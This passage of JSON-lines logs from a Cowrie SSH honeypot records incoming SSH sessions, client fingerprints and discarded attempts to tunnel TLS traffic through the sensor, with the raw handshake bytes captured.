zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 Q\\xb9/\\n\\xb3\\x1c*\\xe0\\x12\\t\\xb0\\xca\\xd4\\xb2\\xa2J\\xc7\\x84H\\x18`T\\xd0\\x9d\\xb7\\xce\\xac\\xf20\\xfcx \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+\\xb57\\x9d1cEayM\\xf5\\xb1\\x15? \\x05\\x12\\x80l\\xe5\\x1d>b\\\\\\x0f\\xc6\\xf1\\xee\\x02\\xe4\\xae\\xc2 \\x0c\\xc0~)\\xff\\x1e\\xb2g\\x17\\xb6\\xe7A\\xdc\\x0b\\xa3\\xbfC\\xb3\\x00\\xbcI\\xa5\\xcb\\xd7\\xf3w\\x82O\\xe8\\tH\\xb9\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 Q\\xb9/\\n\\xb3\\x1c*\\xe0\\x12\\t\\xb0\\xca\\xd4\\xb2\\xa2J\\xc7\\x84H\\x18`T\\xd0\\x9d\\xb7\\xce\\xac\\xf20\\xfcx \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:45.069215Z","src_ip":"113.164.152.20","session":"13f98d8c2aea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14648,"dst_ip":"159.203.135.109","dst_port":22,"session":"28037d3deb27","protocol":"ssh","message":"New connection: 91.92.40.36:14648 (159.203.135.109:22) [session: 28037d3deb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:45.319194Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:45.354857Z","session":"13f98d8c2aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:45.636128Z","src_ip":"113.164.152.20","session":"13f98d8c2aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]\\x8dR1)z8<p\\xe5G`k\\xcb\\xcf\\xd9%\\x83\\xc6\\x1aX<k\\xbd\\xb6-{gx\\x9bvl \\xc1\\xd9\\xdf\\x94\\xb9\\xd7\\xf9\\x0f\\x8c\\xb5\\x9b\\x89\\x02G\\xfa\\x8d\\xda\\x029Z\\x03r\\x08i\\xe1I\\xec\\x9e\\xa8\\x90\\xf9\\x94\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc2\\x1aI<\\xd6%zS\\x17\\xd3h&\\x1e\\xc8\\xbe\\xaf\\xc6L\"\\x1e\\xfdGv6rT\\xec,Q\\x95\\xdb\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]\\x8dR1)z8<p\\xe5G`k\\xcb\\xcf\\xd9%\\x83\\xc6\\x1aX<k\\xbd\\xb6-{gx\\x9bvl \\xc1\\xd9\\xdf\\x94\\xb9\\xd7\\xf9\\x0f\\x8c\\xb5\\x9b\\x89\\x02G\\xfa\\x8d\\xda\\x029Z\\x03r\\x08i\\xe1I\\xec\\x9e\\xa8\\x90\\xf9\\x94\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc2\\x1aI<\\xd6%zS\\x17\\xd3h&\\x1e\\xc8\\xbe\\xaf\\xc6L\"\\x1e\\xfdGv6rT\\xec,Q\\x95\\xdb\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:45.639929Z","src_ip":"113.164.152.20","session":"13f98d8c2aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.7","message":"Connection lost after 23.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:45.846580Z","src_ip":"23.175.50.51","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:45.874621Z","src_ip":"91.92.40.36","session":"28037d3deb27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:45.878135Z","src_ip":"91.92.40.36","session":"28037d3deb27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:46.028442Z","src_ip":"113.164.152.20","session":"13f98d8c2aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:46.140415Z","session":"43441b1f676c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:46.267434Z","src_ip":"38.46.222.137","session":"43441b1f676c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03c\\xa9n\\xc0\\xfe+\\x02b\\xd3_6\\xe5r\\xb1\\x1a[\\x9f\\x1dUs\\x94\\xe9\\x9f\\xe0q\\xa0\\x9d\\tZ1_)  \\xc5\\xd6zl\\xfc\\x87\\xc5\\xc16*f\\xae\\x1e\\xda5\\xa7\\xa7z\\xc9l\"\"\\xa7fMV\\xe6\\xbc\\xcdMa\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3}\\xe7\\x9b\\xeb\\xbc\\tn\\x1d-\\xb40E\\x93\\xdb\\xfer)\\xe3\\x8a\\x08\\xb6\\xbax\\xad\\x8b/\\x91CV\\xfe\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03c\\xa9n\\xc0\\xfe+\\x02b\\xd3_6\\xe5r\\xb1\\x1a[\\x9f\\x1dUs\\x94\\xe9\\x9f\\xe0q\\xa0\\x9d\\tZ1_)  \\xc5\\xd6zl\\xfc\\x87\\xc5\\xc16*f\\xae\\x1e\\xda5\\xa7\\xa7z\\xc9l\"\"\\xa7fMV\\xe6\\xbc\\xcdMa\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3}\\xe7\\x9b\\xeb\\xbc\\tn\\x1d-\\xb40E\\x93\\xdb\\xfer)\\xe3\\x8a\\x08\\xb6\\xbax\\xad\\x8b/\\x91CV\\xfe\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:46.270813Z","src_ip":"38.46.222.137","session":"43441b1f676c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:46.398293Z","session":"43441b1f676c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:46.473523Z","src_ip":"38.46.222.137","session":"43441b1f676c","protocol":"ssh"}
